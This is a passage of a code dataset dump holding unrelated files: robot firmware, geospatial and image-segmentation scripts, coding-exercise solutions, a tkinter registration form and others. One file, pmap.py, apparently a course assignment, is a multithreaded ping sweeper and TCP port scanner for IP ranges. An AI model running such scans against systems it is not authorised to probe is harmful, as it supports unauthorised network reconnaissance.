{}:{}'.format(item, j[item]))\n\n j_str = json.dumps(j)\n print('DBG: JSON data loaded OK')\n except json.JSONDecodeError as e:\n print(type(e), e)\n print('ERR: given data seems not to be valid JSON:{}'.format(str(j)))\n\n try:\n with open(file, 'w') as f:\n f.write(str(j_str))\n return True\n except Exception as e:\n print('ERR: given data could not be written {}, {}\\n {}'.format(type(e), e, j_str))\n return False\n\n\ndef update_settings(settings_to_update=None, file=robot_settings_file):\n # robot_settings = {}\n # robot_settings_file = 'settings.txt'\n\n global robot_settings\n\n print('DBG update_settings settings_to_update: {}, {}'.format(type(settings_to_update), settings_to_update))\n print('DBG update_settings robot_settings: {}, {}'.format(type(robot_settings), robot_settings))\n print('DBG update_settings file: {}'.format(file))\n print('DBG update_settings (if settings_to_update): ...')\n print('DBG update_settings (if settings_to_update): {}'.format(True if settings_to_update else False))\n\n if settings_to_update:\n try:\n write_settings(settings_to_update, file)\n robot_settings = {}\n robot_settings = read_settings(file)\n\n print('DBG robot_settings after upd: {}, {}'.format(type(robot_settings), robot_settings))\n except Exception as e:\n print('Error while updating settings {}, {}'.format(type(e), e))\n else:\n try:\n robot_settings = read_settings(file)\n print('DBG robot_settings read: {}, {}'.format(type(robot_settings), robot_settings))\n\n except Exception as e:\n print('Error while reading settings {}, {}'.format(type(e), e))\n\n\ndef robot_listener_json(request):\n global robot_busy\n robot_busy = True\n global html\n start = time.ticks_ms()\n print('DBG robot_listener_json got: {}... first 120 can workout.'.format(str(request)[:120]))\n\n request = str(request)[:120]\n formatted_request = request.replace('%22', '\\\"')\n formatted_request = formatted_request.replace('%27', '\\\"')\n formatted_request = formatted_request.replace('%20', ' ')\n\n # processing json commands\n\n if r_run.search(formatted_request) is not None:\n try: # gonna test - try not to search one more time\n m_run = r_run.search(formatted_request)\n\n print('DBG processing json commands in run, request: {}, {}'.format(\n type(request), formatted_request))\n s_run = m_run.group(1)\n print('DBG processing json commands in run, s_run: {}, {}'.format(type(s_run), s_run))\n\n j_run = json.loads(s_run)\n print('DBG json.loads() commands in run, j_settings: {}, {}'.format(type(j_run), j_run))\n\n for js_run in j_run:\n print('DBG json.loads() command in run: {}:{}'.format(js_run, j_run[js_run]))\n\n try:\n function_to_call = tokens[js_run]\n function_to_call(j_run[js_run])\n except Exception as e:\n print('SKIP while dispatching run commands with function_to_call: {}, {}'.format(type(e), e))\n\n except Exception as e:\n print('Error while processing run json.loads() {}, {}'.format(type(e), e))\n finally:\n html = \"HTTP/1.0 200 OK\\r\\n\\r\\nI Am Robot not Groot\\r\\n ms: \" + str(time.ticks_ms() - start) + \"\\r\\n\"\n robot_busy = False\n\n if r_settings.search(formatted_request) is not None:\n try:\n m_settings = r_settings.search(formatted_request)\n print('DBG processing json commands for settings, request: {}, {}'.format(\n type(request), formatted_request))\n s_settings = m_settings.group(1)\n print('DBG processing json commands, s_settings: {}, {}'.format(type(s_settings), s_settings))\n\n j_settings = json.loads(s_settings)\n print('DBG json.loads() commands, j_settings: {}, {}'.format(type(j_settings), j_settings))\n\n update_settings(settings_to_update=j_settings, file=robot_settings_file)\n except Exception as e:\n print('Error while processing settings json.loads() {}, {}'.format(type(e), e))\n finally:\n html = \"HTTP/1.0 200 OK\\r\\n\\r\\nI Am Robot not Groot\\r\\n ms: \" + \\\n str(time.ticks_ms() - start) + \"\\r\\n settings: \" + \\\n str(robot_settings) + \"\\r\\n\"\n robot_busy = False\n\n\ntokens = {\n 'headx': headx,\n 'handy': handy,\n 'turnx': turnx,\n 'runy': runy,\n 'catch': catch,\n 'gear': gear,\n 'read_settings': read_settings,\n 'update_settings': update_settings,\n 'give_up': give_up,\n}\n\n\n@asyncio.coroutine\ndef serve(reader, writer):\n try:\n # print(reader, writer)\n print(\"================\")\n # print((yield from reader.read())) # orig\n # print((yield from reader.read())) # mod readline\n # line = yield from reader.readline()\n line = yield from reader.read()\n\n if robot_busy:\n print('DBG serve robot_busy: {}'.format(robot_busy))\n else:\n robot_listener_json(line)\n print('DBG line: {}, {}'.format(type(line), str(line)[:120])) # mod readline\n # yield from writer.awrite(\"HTTP/1.0 200 OK\\r\\n\\r\\nHello. ...\\r\\n more from v.17 (with limit 120)\"\n # + str(line)[:120] + \"\\r\\n\"\n # + \"Updated robot_settings\" + str(robot_settings) + \"\\r\\n\")\n yield from writer.awrite(html)\n # print(\"After response write\")\n yield from writer.aclose()\n print(\"Finished processing request\")\n\n except Exception as e:\n print('Error while serve: {}, {}'.format(type(e), e))\n\n\ndef run():\n global robot_busy\n robot_busy = False\n loop = asyncio.get_event_loop()\n # loop.call_soon(asyncio.start_server(serve, \"127.0.0.1\", 8081))\n loop.call_soon(asyncio.start_server(serve, \"192.168.4.1\", 80))\n loop.run_forever()\n loop.close()\n\n\nif __name__ == '__main__':\n robot_settings = robot_settings_defaults\n update_settings(settings_to_update=None, file=robot_settings_file)\n run()\n\n\n","sub_path":"async-firmware-app/testing/tester-084-086/main(0.8.4.1MD).py","file_name":"main(0.8.4.1MD).py","file_ext":"py","file_size_in_byte":10988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"407106765","text":"'''\r\nCreated on Oct 8, 2018\r\n\r\n@author: xuwang\r\n'''\r\nimport argparse\r\nimport numpy\r\nimport csv\r\nimport fiona\r\nfrom shapely.geometry.polygon import Polygon\r\nfrom shapely.geometry import shape\r\n#------------------------------------------------------------------------\r\n# construct the argument parse and parse the arguments\r\nap = argparse.ArgumentParser()\r\nap.add_argument(\"-sf\", \"--srcFile\", required=True,\r\n help=\"source file of image bound info\")\r\n#==============\r\nap.add_argument(\"-sh\", \"--shape\", required=True,\r\n help=\"field map shapefile\")\r\n#==============\r\nap.add_argument(\"-t\", \"--targetFolder\", required=True,\r\n help=\"target folder\")\r\n#==============\r\nargs = ap.parse_args()\r\nplotBoundFile = args.srcFile\r\nshapeFile = args.shape\r\ntargetPath = args.targetFolder\r\nfinalFile = open(targetPath+\"\\\\imagePlotList.csv\", 'wt')\r\n#------------------------------------------------------------------------\r\nwith fiona.open(shapeFile) as shapes:\r\n geoms = [feature[\"geometry\"] for feature in shapes]\r\n plotIDs = [feature[\"properties\"] for feature in shapes]\r\n# plotShapes = []\r\nfor i in range(len(plotIDs)):\r\n plotIDs[i] = str(plotIDs[i]).split(\"'\")[3] ##### -->?\r\n#------------------------------------------------------------------------\r\ntry:\r\n writer = csv.writer(finalFile, delimiter=',', lineterminator='\\n')\r\n imNum = 0\r\n imageBoundInfo = open(plotBoundFile,'r')\r\n for ibLine in imageBoundInfo:\r\n imNum += 1\r\n ib = ibLine.split(',\"')\r\n # Image file name\r\n imageFile = str(ib[0]).replace(\"\\\\\", \"/\")\r\n imageFileElement = imageFile.split(\"/\")\r\n imageID = imageFileElement[len(imageFileElement)-1]\r\n # Image coordinates\r\n imageBound = str(ib[1]).split(' : ')\r\n imLong_1 = float(imageBound[0].split(',')[0])\r\n imLat_1 = float(imageBound[0].split(',')[1])\r\n imLong_2 = float(imageBound[1].split(',')[0])\r\n imLat_2 = imageBound[1].split(',')[1]\r\n imLat_2 = float(imLat_2.rstrip('\"\\n'))\r\n # create polygon\r\n x_min = numpy.min([imLong_1,imLong_2])\r\n x_max = numpy.max([imLong_1,imLong_2])\r\n y_min = numpy.min([imLat_1,imLat_2])\r\n y_max = numpy.max([imLat_1,imLat_2])\r\n # Buffer\r\n xb_min = x_min+0.1*(x_max-x_min)\r\n xb_max = x_max-0.1*(x_max-x_min)\r\n yb_min = y_min+0.1*(y_max-y_min)\r\n yb_max = y_max-0.1*(y_max-y_min)\r\n imPolygon = Polygon([(xb_min, yb_min), (xb_max, yb_min), (xb_max, yb_max), (xb_min, yb_max)])\r\n # print(imPolygon)\r\n plotList = \"\"\r\n for j in range(0,len(plotIDs)):\r\n if imPolygon.contains(shape(geoms[j])):\r\n plotList = plotList+plotIDs[j]+\",\"\r\n if plotList != \"\":\r\n print(str(imNum)+\" \"+imageID+ \" \"+plotList)\r\n writer.writerow((imageFile,plotList)) \r\nfinally:\r\n finalFile.close()\r\n","sub_path":"PyPlotExtraction/src/genPlotList.py","file_name":"genPlotList.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"274520255","text":"import cv2\nimport onnxruntime as rt\nimport numpy as np\n\nproperties = {\n \"xception65_ade20k_train\": {'map': [127, 13], 'th': [0.45, 0.65]},\n \"xception65_coco_voc_trainval\": {'map': [12, 15], 'th': [0.35, 0.6]}\n}\n\n\ndef to_square(im, desired_size, pad):\n old_size = im.shape[:2]\n desired_size -= (pad * 2)\n ratio = float(desired_size) / max(old_size)\n new_size = tuple([int(x * ratio) for x in old_size])\n\n im = cv2.resize(im, (new_size[1], new_size[0]))\n\n delta_w = desired_size - new_size[1]\n delta_h = desired_size - new_size[0]\n top, bottom = delta_h // 2 + pad, delta_h - (delta_h // 2) + pad\n left, right = delta_w // 2 + pad, delta_w - (delta_w // 2) + pad\n\n color = [0, 0, 0]\n return cv2.copyMakeBorder(im, top, bottom, left, right, cv2.BORDER_CONSTANT, value=color), \\\n cv2.copyMakeBorder(np.ones_like(im), top, bottom, left, right, cv2.BORDER_CONSTANT, value=color), \\\n (top, bottom, left, right, old_size)\n\n\ndef back_to_original_size(im, properties):\n im = im[properties[0]:-properties[1], properties[2]:-properties[3]]\n return cv2.resize(im, properties[4][::-1])\n\n\ndef process_pred(orig_pred, padding, th):\n pred = np.copy(orig_pred)\n pred[np.all(padding == 0, axis=2)] = 0\n pred[pred < th[0]] = 0\n pred[pred > th[1]] = 1\n pred_hesitant = np.zeros_like(pred)\n pred_hesitant[np.logical_and(pred > 0, pred < 1)] = 1\n return pred, pred_hesitant\n\n\nSIZE = 512\nPAD = 10\n\n\nclass DeepLab:\n def __init__(self, name):\n self.name = name\n self.sess = rt.InferenceSession(f'frozen_graphs/{self.name}.onnx')\n self.input_name = self.sess.get_inputs()\n self.label_name = self.sess.get_outputs()[0].name\n\n def eval(self, img):\n small_img, padding, resize_properties = to_square(img, SIZE, PAD)\n return self.sess.run([self.label_name], {self.input_name[0].name: np.expand_dims(small_img, 0)})[0], \\\n small_img, padding, resize_properties\n\n def eval_specific_classes(self, img, classes):\n pred, small_img, padding, resize_properties = self.eval(img)\n ret = np.zeros_like(pred[:, :-1, :-1, 0])\n pred = (pred - pred.min()) / (pred.max() - pred.min())\n for c in classes:\n ret += pred[:, :-1, :-1, c]\n ret = (ret - ret.min()) / (ret.max() - ret.min())\n return np.transpose(ret.astype(np.float), (1, 2, 0)), small_img, padding, resize_properties\n\n def eval_pepole_and_animal(self, img):\n return self.eval_specific_classes(img, properties[self.name]['map'])\n\n def get_props(self):\n return properties[self.name]","sub_path":"DeepLab.py","file_name":"DeepLab.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"263186035","text":"#rsa decryption\nclass Decrypt:\n def __init__(self, key):\n self.d = key[0]\n self.n = key[1]\n\n def getDecrypted(self, text):\n print(text)\n text = text.split(' ')\n dec = ''\n for i in text:\n if i != '':\n dec+=chr(pow(int(i), self.d, self.n))\n return dec","sub_path":"ECSE352L - Crypto/Lab 7/Decrypt.py","file_name":"Decrypt.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"37696240","text":"# Input: [2,0,2,1,1,0]\n# Output: [0,0,1,1,2,2]\n\n\n# Counting Sort\n\nclass Solution:\n def sortColors(self, nums) -> None:\n \"\"\"\n Do not return anything, modify nums in-place instead.\n \"\"\"\n\n count = [0, 0, 0]\n\n for i in nums:\n \tcount[i] += 1\n # print(count)\n num = 0\n i = 0\n for n in count:\n \tnums[i:i+n+1] = [num for k in range(n)]\n \ti += n\n \tnum += 1\n\n print(nums)\nSolution().sortColors([2,0,2,1,1,0])\n\n\n","sub_path":"M75_SortColors.py","file_name":"M75_SortColors.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"377342918","text":"from math import sqrt\n\nperfect = {}\n\nc = 0\nc2 = 0\nfor a in range(1, 500):\n for b in range(a, 500):\n c2 = a*a + b*b\n c = int(sqrt(a*a + b*b))\n if c*c == c2:\n if a + b + c <= 1000:\n perfect[a + b + c] =perfect.get(a + b + c, 0) + 1\n\nmax_num = 0\nbest_perim = 0\nfor perim, num in perfect.items():\n if num > max_num:\n best_perim = perim\n max_num = num\n\n\nprint (perfect)\nprint (best_perim)\n","sub_path":"1-50/39.py","file_name":"39.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"60938241","text":"# title: regular-expression-matching\n# detail: https://leetcode.com/submissions/detail/343332326/\n# datetime: Sat May 23 11:42:13 2020\n# runtime: 1152 ms\n# memory: 14 MB\n\nclass Solution:\n def isMatch(self, s: str, p: str) -> bool:\n # s += '#'\n # p += '#'\n N = len(s)\n M = len(p)\n def match(i, j):\n # print(i, j)\n if j == M:\n return i == N\n if i == N:\n while j + 1 < M and p[j + 1] == '*':\n j += 2\n return j == M\n if j + 1 >= M or p[j + 1] != '*':\n return (s[i] == p[j] or p[j] == '.') and match(i + 1, j + 1)\n if s[i] == p[j] or p[j] == '.':\n if match(i + 1, j):\n return True\n return match(i, j + 2)\n \n return match(0, 0)","sub_path":"leetcode/regular-expression-matching/343332326.py","file_name":"343332326.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"443348020","text":"#!/usr/bin/env python3\nfrom concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor\nfrom concurrent.futures import as_completed\nimport subprocess\nimport argparse\nimport os\nimport socket\nimport sys\nimport time\nimport json\nfrom netaddr import IPRange\n\n\nclass NetScanner(object):\n def __init__(self, **kwargs):\n self.mode = kwargs['model']\n self.number = kwargs['number']\n self.function = kwargs['function']\n self.save_file = kwargs['write']\n self.verbose = kwargs['verbose']\n self.write = kwargs['write']\n\n # Convert ip_range into a list ip addrs in string\n ip_range = kwargs['ip_range'].split('-')\n netaddr_ip_range = IPRange(ip_range[0], ip_range[0]) \\\n if len(ip_range) == 1 else IPRange(ip_range[0], ip_range[1])\n self.ip_range = [str(ip) for ip in netaddr_ip_range]\n\n def scan_ping_hosts(self, hosts):\n results = {'host_status': []}\n\n if self.mode == 'process':\n with ProcessPoolExecutor(max_workers=self.number) as executor:\n host_execs = {executor.submit(self.ping_host, host): host for host in hosts}\n for host_exec in as_completed(host_execs):\n results['host_status'].append(host_exec.result())\n\n if self.mode == 'thread':\n with ThreadPoolExecutor(max_workers=self.number) as executor:\n host_execs = {executor.submit(self.ping_host, host): host for host in hosts}\n for host_exec in as_completed(host_execs):\n results['host_status'].append(host_exec.result())\n\n return results\n\n def ping_host(self, host_ip):\n scan_process_id = os.getpid()\n\n try:\n subprocess.check_call(\"ping -c 1 %s\" % host_ip, shell=True)\n host_status = {\n 'host_ip': host_ip,\n 'status': 'up',\n 'process_id': scan_process_id\n }\n except subprocess.CalledProcessError:\n host_status = {\n 'host_ip': host_ip,\n 'status': 'down',\n 'process_id': scan_process_id\n }\n\n return host_status\n\n def scan_tcp_host(self, host_ip):\n port_range = list(range(1, 1025))\n results = {'host_ip': host_ip, 'port_status': []}\n\n if self.mode == 'process':\n with ProcessPoolExecutor(max_workers=self.number) as executor:\n host_ports = {executor.submit(self.scan_tcp_host_port, host_ip, port): port for port in port_range}\n for port in as_completed(host_ports):\n results['port_status'].append(port.result())\n\n if self.mode == 'thread':\n with ThreadPoolExecutor(max_workers=self.number) as executor:\n host_ports = {executor.submit(self.scan_tcp_host_port, host_ip, port): port for port in port_range}\n for port in as_completed(host_ports):\n results['port_status'].append(port.result())\n\n return results\n\n def scan_tcp_host_port(self, host_ip, port):\n scan_process_id = os.getpid()\n s_timeout = 3\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(s_timeout)\n try:\n s.connect((host_ip, port))\n s.shutdown(socket.SHUT_RDWR)\n print(\"Port %s on %s is open\" % (port, host_ip))\n port_status = {\n 'number': port,\n 'status': 'open',\n 'scan_process_id': scan_process_id\n }\n except Exception:\n print(\"Port %s on %s is closed\" % (port, host_ip))\n port_status = {\n 'number': port,\n 'status': 'closed',\n 'scan_process_id': scan_process_id\n }\n finally:\n s.close()\n\n return port_status\n\n def save_results(self, results):\n try:\n with open(self.write, 'w') as f:\n json.dump(results, f, indent=2)\n except Exception as e:\n sys.exit(\"Fail to write results due to %s \" % (str(e)))\n\n def run(self):\n if self.verbose:\n start_time = time.time()\n\n if self.function == 'tcp':\n results = self.scan_tcp_host(self.ip_range[0])\n elif self.function == 'ping':\n results = self.scan_ping_hosts(self.ip_range)\n else:\n sys.exit(\"Not a supported funciton,\"\n \"it should be either 'ping' or 'tcp'\")\n\n if self.verbose:\n end_time = time.time()\n exec_duration = end_time - start_time\n print(\"****************Scan Execution Details****************\")\n print(\"Execution time: %s seconds\" % exec_duration)\n\n self.save_results(results)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-m\", \"--model\",\n default=\"thread\",\n help=\"Model used to run, [process|thread]\")\n parser.add_argument(\"-n\", \"--number\",\n type=int,\n default=50,\n help=\"Number of threads or processes spawned\")\n parser.add_argument(\"-f\", \"--function\",\n default=\"ping\",\n help=\"Function of the scanning, [ping|tcp]\")\n parser.add_argument(\"-ip\", \"--ip-range\",\n default=\"192.168.0.0-192.168.0.255\",\n help=\"A specific IP or \"\n \"IP range like 192.168.0.1-192.168.0.100\")\n parser.add_argument(\"-v\", \"--verbose\",\n type=bool,\n default=True,\n help=\"Whether to print out execution time.\")\n parser.add_argument(\"-w\", \"--write\",\n default=\"results.json\",\n help=\"File to be save the scanning results.\")\n return vars(parser.parse_args())\n\n\ndef main():\n args = parse_args()\n\n # Create scanner and run it\n ns = NetScanner(**args)\n ns.run()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"week03/pa01/pmap.py","file_name":"pmap.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143324223","text":"# returns list of unique tags separated by commas with saved order\n\n\ndef get_unique_tags_list(tag_string):\n tag_list = map(lambda word: word.strip(), tag_string.split(','))\n\n known_tags = set()\n unique_tags_list = []\n\n for tag in tag_list:\n if not tag or tag in known_tags:\n continue\n known_tags.add(tag)\n unique_tags_list.append(tag)\n\n return unique_tags_list\n\nif __name__ == '__main__':\n inp_string = \"hello, world is mine,tag 2, other ,,,tags, people need love, other,three, four, three,tags\"\n result_list = ['hello', 'world is mine', 'tag 2', 'other', 'tags', 'people need love', 'three', 'four']\n assert get_unique_tags_list(inp_string) == result_list\n\n","sub_path":"get_unique_tags_list/get_unique_tags_list.py","file_name":"get_unique_tags_list.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"49312051","text":"from golf import *\nimport itertools\nimport time\n\nbotList = []\nwins = []\ngames = []\nsum_scores = []\ni = 0\nfor filler in range(2):\n\tfor v in [0]:\n\t\tfor e in [0]:\n\t\t\tfor p in [-4, 0, 1, 2]:\n\t\t\t\tfor m in [0, .5, 1]:\n\t\t\t\t\tbotList.append([str(i), v, True, 4*e, p, m])\n\t\t\t\t\twins.append(0)\n\t\t\t\t\tgames.append(0)\n\t\t\t\t\tsum_scores.append(0)\n\t\t\t\t\ti += 1\n\nran = 0\nold = 0\nstart = time.clock()\nfor match in itertools.combinations(botList, 4):\n\tgame = Game(match)\n\tgame.play(False)\n\twinner = game.findWinner()\n\tpos = int(match[winner[0]][0])\n\twins[pos] += 1\n\tfor i in range(len(game.players)):\n\t\tpos = int(match[i][0])\n\t\tgames[pos] += 1\n\t\tsum_scores[pos] += game.players[i].getScore()\n\tran += 1\n\tif ran % 1000 == 0:\n\t\tgamesPerSec = float(ran - old)/(time.clock() - start)\n\t\told = ran\n\t\tstart = time.clock()\n\t\tpercent = ((float(ran)/float(10626))*100.0)\n\t\tprint(\"Progress: \" + str(percent)[:4] + \"% | Games: \" + str(ran) + \" | Games/second: \" + str(gamesPerSec)[:5])\n\t\navgs = []\nfor i in range(len(games)):\n\tavgs.append(float(sum_scores[i]/games[i]))\n\twins[i] = (float(wins[i])/float(games[i]))*100\n\nranked = [x for (y,x) in sorted(zip(wins,botList))]\nwinners = [y for (y,x) in sorted(zip(wins,botList))]\navgs = [x for (y,x) in sorted(zip(wins, avgs))]\noutput = \"ID WinPercent avg_score info_value info_mod draw end pair\\n\"\nfor i in range(len(winners)):\n\tif ranked[i][2]:\n\t\tdraw = 1\n\telse:\n\t\tdraw = 0\n\toutput += str(ranked[i][0]) + \" \" + str(winners[i])[:4] + \" \" + str(avgs[i])[:4] + \" \" + str(ranked[i][1]) + \" \" + str(ranked[i][5]) + \" \" + str(draw) + \" \" + str(ranked[i][3]) + \" \" + str(ranked[i][4]) + \"\\n\"\n\t\nf = open('results.txt', 'w')\nf.write(output)\nf.close()\n\nprint(\"\\nData upload complete, ready for analysis\")","sub_path":"miniBattle.py","file_name":"miniBattle.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"98008457","text":"from tkinter import *\r\nimport sqlite3\r\nimport tkinter.messagebox\r\n\r\nroot = Tk()\r\nroot.geometry('800x800')\r\nroot.title(\"Registration Form\")\r\n\r\n\r\nfullName=StringVar()\r\neml=StringVar()\r\na = StringVar()\r\nprob=StringVar()\r\ndName=StringVar()\r\nphno = IntVar()\r\nloc= StringVar()\r\ngen=StringVar()\r\napp=IntVar()\r\n\r\n# empty list to later append the ids from the database\r\nids = []\r\n\r\ndef database():\r\n \r\n name1=fullName.get()\r\n email=eml.get()\r\n gender=gen.get()\r\n age=a.get()\r\n problem=prob.get()\r\n doctname=dName.get()\r\n location=loc.get()\r\n apptime=app.get()\r\n phoneno=phno.get()\r\n conn = sqlite3.connect('test.db')\r\n cursor=conn.cursor()\r\n\r\n if name1 == '' or email == '' or gender == '' or age == '' or problem == '' or location == '' or apptime == '' or doctname == '' or phoneno =='':\r\n tkinter.messagebox.showinfo(\"Warning\", \"Please Fill Up All Boxes\")\r\n else:\r\n # now we add to the database\r\n sql=\"INSERT INTO HOSPDATA (NAME,EMAIL,AGE,GENDER, LOCATION,APPOINTMENT_TIME,PHONE_NUMBER,DOCTOR_NAME,PROBLEM) VALUES(?,?,?,?,?,?,?,?,?)\"\r\n cursor.execute(sql, (name1, email,age,gender,location,apptime,phoneno,doctname,problem)) \r\n conn.commit()\r\n tkinter.messagebox.showinfo(\"Success\", \"Appointment for \" +str(name1) + \" has been created\" )\r\n # getting the number of appointments fixed to view in the log\r\n #result = cursor.execute(sql2)\r\n #for row in result:\r\n # ids = row[0]\r\n # ids.append(ids)\r\n # ordering the ids\r\n # new = sorted(ids)\r\n #final_id = new[len(ids)-1]\r\n #print(\"Total Appointments till now : \" + str(final_id))\r\n\r\n \r\n \r\n \r\n \r\n \r\nlabel_0 = Label(root, text=\"Registration form\",width=20,font=(\"bold\", 20))\r\nlabel_0.place(x=90,y=53)\r\n\r\n\r\nlabel_1 = Label(root, text=\"FULL NAME\",width=20,font=(\"bold\", 10))\r\nlabel_1.place(x=80,y=130)\r\n\r\nentry_1 = Entry(root,textvar=fullName)\r\nentry_1.place(x=240,y=130)\r\n\r\nlabel_2 = Label(root, text=\"EMAIL\",width=20,font=(\"bold\", 10))\r\nlabel_2.place(x=80,y=180)\r\n\r\nentry_2 = Entry(root,textvar=eml)\r\nentry_2.place(x=240,y=180)\r\n\r\nlabel_3 = Label(root, text=\"GENDER\",width=20,font=(\"bold\", 10))\r\nlabel_3.place(x=80,y=230)\r\n\r\nRadiobutton(root, text=\"MALE\", value=\"male\", var=gen).place(x=235,y=230)\r\nRadiobutton(root, text=\"FEMALE\", value=\"female\", var=gen).place(x=290,y=230)\r\n\r\n#Radiobutton(root, text=\"Male\",padx = 5,variable=gen, value='m').place(x=235,y=230)\r\n#Radiobutton(root, text=\"Female\",padx = 20,variable=gen, value='f').place(x=290,y=230)\r\n\r\nlabel_4 = Label(root, text=\"DOCTOR NAME\",width=20,font=(\"bold\", 10))\r\nlabel_4.place(x=80,y=280)\r\n\r\nlist1 = ['DR RAMA','DR T S MOHAN','DR ABBAI','DR PEDDAVEERA RAJU','DR RAMESH','DR VIJETHA'];\r\n\r\ndroplist=OptionMenu(root,dName, *list1)\r\ndroplist.config(width=25)\r\ndName.set('select your doctor') \r\ndroplist.place(x=240,y=280)\r\n\r\nlabel_5 = Label(root, text=\"PROBLEM\",width=20,font=(\"bold\", 10))\r\nlabel_5.place(x=80,y=330)\r\n\r\nentry_5 = Entry(root,textvar=prob)\r\nentry_5.place(x=240,y=330)\r\n\r\n\r\nlabel_6 = Label(root, text=\"AGE\",width=20,font=(\"bold\", 10))\r\nlabel_6.place(x=80,y=380)\r\n\r\nentry_6 = Entry(root,textvar=a)\r\nentry_6.place(x=240,y=380)\r\n\r\nlabel_7 = Label(root, text=\"APPOINTMENT TIME\",width=20,font=(\"bold\", 10))\r\nlabel_7.place(x=80,y=420)\r\n\r\nentry_7 = Entry(root,textvar=app)\r\nentry_7.place(x=240,y=420)\r\n\r\nlabel_8 = Label(root, text=\"PHONE NUMBER\",width=20,font=(\"bold\", 10))\r\nlabel_8.place(x=80,y=470)\r\n\r\nentry_8 = Entry(root,textvar=phno)\r\nentry_8.place(x=240,y=470)\r\n\r\nlabel_9 = Label(root, text=\"LOCATION\",width=20,font=(\"bold\", 10))\r\nlabel_9.place(x=80,y=520)\r\n\r\nentry_9 = Entry(root,textvar=loc)\r\nentry_9.place(x=240,y=520)\r\n\r\nButton(root, text='Submit',width=20,bg='brown',fg='white',command=database).place(x=220,y=570)\r\n\r\nroot.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"registration.py","file_name":"registration.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297031280","text":"import sys\nsys.path.insert(1, '..')\n\nimport time\nfrom clsearch import uri_exists_stream, import_rosetta\n\n\ndef check_urls(rosetta_stream):\n failed = False\n j = 0\n\n for key, value in rosetta_stream.items():\n i = value.items()\n print(\"\\n\" + key, end='')\n for city in value:\n # print(value[city])\n site = str(\"https://\" + str(value[city]) + \".craigslist.org\")\n verdict = uri_exists_stream(site)\n if not verdict:\n time.sleep(3) # wait 3 seconds and retry before throwing fail\n if uri_exists_stream(site):\n print(\n \"\\n\" + key + \" => \" + city + \" : \\t https://\" + value[city] + \".craigslist.org does not exist\")\n failed = True\n else:\n print('.', end='')\n\n if failed:\n print(\"\\n\\nUnable to resolve all URLs in rosetta.yaml. See output above.\")\n else:\n print(\"\\n\\nURL validity check passed!\")\n\n\ndef check_redundant_url(rosetta_stream):\n\n failed = False\n\n for state in rosetta_stream:\n for city in rosetta_stream[state]:\n for state1 in rosetta_stream:\n if state != state1:\n for city1 in rosetta_stream[state1]:\n if rosetta_stream[state][city] == rosetta_stream[state1][city1]:\n print(\"\\nFound redundant URL across states!\")\n print(state + \" : \" + city + \" : \" + rosetta_stream[state][city] + \" = \" + state1 + \" : \" + city1 + \" : \" + rosetta_stream[state1][city1])\n failed = True\n\n if failed:\n print(\"\\n\\nSome cities in rosetta.txt are redundant across states. See output above.\")\n else:\n print(\"\\nRedundancy check passed!\")\n\ndef check_redundant_citykey(rosetta_stream):\n\n failed = False\n\n for state in rosetta_stream:\n for city in rosetta_stream[state]:\n for state1 in rosetta_stream:\n if state != state1:\n for city1 in rosetta_stream[state1]:\n if city == city1:\n print(\"\\nFound redundant cityname across states!\")\n print(state + \" : \" + city + \" = \" + state1 + \" : \" + city1)\n failed = True\n\n if failed:\n print(\"\\n\\nSome cities in rosetta.txt are redundant across states. See output above.\")\n else:\n print(\"\\nRedundancy check passed!\")\n\n\ndef testrosetta():\n # https://stackoverflow.com/questions/3160699/python-progress-bar\n\n print(\"\\nTesting rosetta.yaml - this will take a few minutes\")\n rs = import_rosetta(\"../../etc/rosetta.yaml\")\n\n #check_urls(rs)\n\n #check_redundant_url(rs)\n\n check_redundant_citykey(rs)\n\n\nif __name__ == \"__main__\":\n testrosetta()","sub_path":"lib/tests/testRosetta.py","file_name":"testRosetta.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"134517107","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\n\n\n# merge all ICC value to ICC.csv\ndef merge_ICC(dir_path):\n ICC12 = pd.read_csv(os.path.join(dir_path,'ICC12.csv'))\n ICC23 = pd.read_csv(os.path.join(dir_path,'ICC23.csv'))\n ICC13 = pd.read_csv(os.path.join(dir_path,'ICC13.csv'))\n ICC123 = pd.read_csv(os.path.join(dir_path,'ICC123.csv'))\n\n data_1 = pd.merge(ICC12, ICC23)\n data_2 = pd.merge(data_1, ICC13)\n data_3 = pd.merge(data_2, ICC123)\n\n data_3.to_csv(os.path.join(dir_path, 'ICC.csv'), index=None)\n\n\ndef del_NaN(data):\n if np.isnan(np.sum(data)) == True:\n to_remain = (1 - 